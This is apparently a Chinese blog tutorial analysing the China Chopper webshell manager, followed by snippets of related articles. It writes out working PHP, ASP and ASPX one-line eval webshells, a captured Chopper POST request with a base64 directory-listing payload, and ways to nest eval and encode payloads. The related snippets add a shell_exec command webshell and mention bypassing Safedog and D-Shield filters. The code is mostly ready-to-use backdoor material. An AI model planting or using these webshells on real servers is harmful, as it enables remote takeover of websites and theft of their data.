php菜刀分析学习

这里以eval为例

我们知道, php中的eval能把字符串当代码执行:

eval(‘phpcode‘);

注意, 这里的代码要有分号结尾, 我们测试:

我们创建一个最简单的SHELL:

<?php
eval($_POST[‘a‘]);

在post数据位置发送:

a=phpinfo()

可以看到phpinfo()并没有执行。

原来原因是要加 ; 号结速一个语句, 像php语法一样, 语句后面要加 ; 号。

这里还有一个问题就是, 输入的  a=phpinfo();  不需要用单或双引号括起来:

再回到eval, 我们加多层eval看看:

<?php
eval(eval(eval($_POST[a])));

看到效果是一样的:

我们创建一个简单WEBSHELL, 打开抓包工具抓菜刀包, 抓到的发送包是这样的:

POST /2.php HTTP/1.1
Cache-Control: no-cache
X-Forwarded-For: 226.60.187.9
Referer: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host: localhost
Content-Length: 738
Connection: Close

a=%40eval%01%28base64_decode%28%24_POST%5Bz0%5D%29%29%3B&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JEY9QG9wZW5kaXIoJEQpO2lmKCRGPT1OVUxMKXtlY2hvKCJFUlJPUjovLyBQYXRoIE5vdCBGb3VuZCBPciBObyBQZXJtaXNzaW9uISIpO31lbHNleyRNPU5VTEw7JEw9TlVMTDt3aGlsZSgkTj1AcmVhZGRpcigkRikpeyRQPSRELiIvIi4kTjskVD1AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJFApKTtAJEU9c3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRQKSwxMCw4KSwtNCk7JFI9Ilx0Ii4kVC4iXHQiLkBmaWxlc2l6ZSgkUCkuIlx0Ii4kRS4iCiI7aWYoQGlzX2RpcigkUCkpJE0uPSROLiIvIi4kUjtlbHNlICRMLj0kTi4kUjt9ZWNobyAkTS4kTDtAY2xvc2VkaXIoJEYpO307ZWNobygifDwtIik7ZGllKCk7&z1=RDpcXHBocFN0dWR5XFxXV1dcXA%3D%3D

单纯地看上面的POST包, 在没有base64解密前提下, 可以明显的看到 菜刀会另外创造一个post数据(上图中的是z0)发送回来给a。

我们可以得知, 菜刀发送的包, 有点像这样:

<?php
eval($_POST[a]);
#post:
#$_POST[a] = 另一个post数据
#$_POST[a] = $_POST[b]
#传入的$_POST[a]=$_POST[b]=b的内容

也就是说, 我们发送包时, 可以这样构造一下:

a=$_POST[b]&b=phpinfo

这样就相当于是:

a=phpinfo

记得我们上面说过, 要加 ; 号, 不用加单双引号:

a=$_POST[b];&b=phpinfo()

这一个数据, 就相当于:

a=phpinfo();
#$_POST[b]替换成了: phpinfo()

我们测试一下效果:

可以看到, 并没有执行 phpinfo() 函数。

为什么呢?

用一个小例子来说明为什么:

echo ‘post[a]:‘.$_POST[a]."<br />";
echo ‘post[b]:‘.$_POST[b];

发送数据后如下所示:

可以看到, a 的值是 $_POST[b]; ,   但是这个 $_POST[b];  只是一个单纯字符串而已, 而这个字符串并未被当成php代码解释。

相当于我们创建了一个这样的代码:

<?php
‘$_POST[b]‘;

这样的参数肯定会出错, 也相当于你创建了一个这样的代码:

eval(‘abcdefg‘);

eval要求是php代码形式的字符串, 所以, 下面这样就是合法的:

eval(‘echo "abcdefg";‘);

最后我们可以构造这样的代码:

eval(‘eval("$_POST[b]");‘)

这样phpinfo函数就能正常运行了。

把eval加进代码里:

有一点要注意的就是 $_POST[b]中的PHP代码参数要加 ; 号, 因为 $_POST[a] 里的eval要用到, 而 $_POST[a]里的php代码也要加 ; 号, 因为源码里的eval也要用到。

在 $_POST[a]的位置我们也可以用base64编码数据, 这样 $_POST[b]的数据就可以很好的正常发送了:

总之, a中的post数据中的eval目的是把他的值 $_POST[b] 解释。

我们其实可以在发送数据位置单单用一个a=post数据就行了。

<?php
eval($_post[a]);

在接收后我们可以用自已相要的方式加解密(如果你数据有加密的话):

<?php
eval(base64_decode($_POST[a]));#post#a=cGhwaW5mbygpOw==

那个java的C刀就是这样的做法。

时间: 2024-08-04 02:29:54

php菜刀分析学习的相关文章

小白日记51:kali渗透测试之Web渗透-WebShell(中国菜刀、WeBaCoo、Weevely)

webshell 本质:<?php echo shell_exec($_GET['cmd']);?> windows平台 中国菜刀官网:胖客户端程序,国产中比较优秀的webshell,适用性较强 [但版本众多而乱,可能存在木马,据说的官网http://www.maicaidao.co/] 1.利用上传漏洞,先上传一句话木马[支持三种服务器端PHP.ASP.ASP.NET] 使用ssh连接metasploitable 创建包含木马代码的文件 2.连接相应的服务器端 添加服务器端URL [密码为一

最新中国菜刀caidao-20160620下载和说明

0x00 中国制造, 黑客之刀 中国菜刀是中国安全圈内使用非常广泛的一款Webshell管理工具,此次老兵大牛进行了更新,界面更加优美,功能更加丰富,有图有真相! 0x01 验证 此次更新还自带了官网验证功能,妈妈再也不会担心我的webshell了. 0x02 软件说明 菜刀 / Caidao @ http://www.maicaidao.com/ 1 菜刀,他是一款专业的网站管理工具 一.网站管理模块 (1)放在网站上的脚本程序分两种 1.1)“一句话(Eval)”: PHP, ASP, AS

绕过D盾安全狗连接菜刀

0x00 各种奇葩符号 现在基本上没啥用了,毕竟几年前的小玩意儿 /;.xxx.asp;.jpg /;00.asp/00.jpg 像这种各位看官可以忽略了,毕竟某狗和某盾也不是吃干饭的,写出来只是为了纪念一下 0x02## 中转(1),抓菜刀连接webshell的包 然后研究安全狗过滤了哪些关键字 中转替换掉那些过滤的关键字 code: <% JmStr=Replace(Request.Form,"$_POST","$_REQUEST") JmStr=Repl

Javascript 中的回调函数和递归函数简单实际分析学习

Javascript 中的回调函数和递归函数简单实际分析学习 1 回调函数 所谓回调函数简单理解就是将一个函数做为参数传递给其他的函数供其使用.(只是在js中,因为其它的语言中有指针这个概念). 举一个简单的例子,当我们在统计账单的时候就要整理材料这些,然后就需要计算器,计算器我们想象成为一个可以实现计算的函数.统计账单是另外的另一个函数,当统计账单的时候就会需要计算器这个函数的支持,其实这就是一个简单的回调.可以按这个理解. 下来我借用网上的一个例子: //先定义一个函数fun1 functi

网络小黑揭秘系列之黑产江湖黑吃黑—中国菜刀的隐形把手

人在做,天在看. 黑产乃法外之地,被丛林法则所支配.没有了第三方强制力量的保障和监督,在那个圈子里我们可以看到两个极端:想做大生意的往往极重信誉,而那些只想捞一票就走的则会肆无忌惮地黑吃黑. 2015年12月中,360天眼实验室发布了“网络小黑揭秘系列之黑色SEO初探”,简单揭露了下网络上的黑色SEO活动,同时也提到了很多黑客工具中带有后门,其中就包括了某些使用面非常广的工具.没错,这回我们的主角是小黑们最喜闻乐见的中国菜刀. 0x01 中国菜刀 菜刀,厨房切菜之利器,亦可用于砍人.中国菜刀(C

Webshell管理+网站后台管理+菜刀

免责申明:  请使用者注意使用环境并遵守国家相关法律法规! 由于使用不当造成的后果本厂家不承担任何责任! ------------------------------------------------------------ 说明:  我是一个产刀的,用于什么用途,由您自行选择. 致谢:  菜刀某前辈及各位网友的建议 弱点:  存在细节方面没处理好  数据库与菜刀有所区别不能共用 优点:  持续更新  快捷键操作  注册表读取  HTTP头自行控制  POST部分数据可自定义,突破安全狗等WA

(转载)中国菜刀的使用

想学学怎么用菜刀,刚在网上搜到了菜刀的使用方法.怕有和我一样的新手不会用,所以发过来,算是给大家分享吧.首先说一下菜刀的功能,菜刀是用来连一句话的,asp.aspx.php的一句话菜刀都可以连,只是这几种一句话语句不一样.  asp的一句话是:<%eval request("pass")%>  aspx的一句话是:<%@ Page Language="Jscript"%><%eval(Request.Item["pass&qu

&nbsp; 中国菜刀使用方法以及小技巧

相信大多数的站长都用FTP来管理web空间,但是相对于菜刀来说FTP简直弱到爆.就数据库管理方面来说,phpmyadmin和帝国软件只能管理mysql数据库,而且在软件的体积上跟菜刀完全没法比,如果精通SQL语法,何必还要PHPMYADMIN呢?而且中国菜刀以其特色图形界面,支持MYSQL,MSSQL,ORACLE,INFOMIX,ACCESS,支持ADO方式连接的数据库. 服务端: 在服务端运行的代码如下: PHP: ASP: <%eval request("pass")%&g

xise菜刀千万不要随便下载!(警惕!)

xise菜刀千万不要随便下载!(警惕!) 最近小编在众多群里,看到有人善意伪装的提供免费xise下载地址! 1:小心后门,小编发现众多免费下载xise的里面都隐藏后门 也就是说,只要你使用带后门的xise菜刀,别人就可以获取到你的shell地址,还有密码!肉眼是看不到的,通过程序就能获取你shell,等于你买的shell给别人了,别人不花一分钱就可以和你共用shell! 2:小心带客户端软件,最近市场上开始流行很多软件版,虽然操作十分简单,但是往往里面都隐藏后门,所以要想放心的做排名,还是需要谨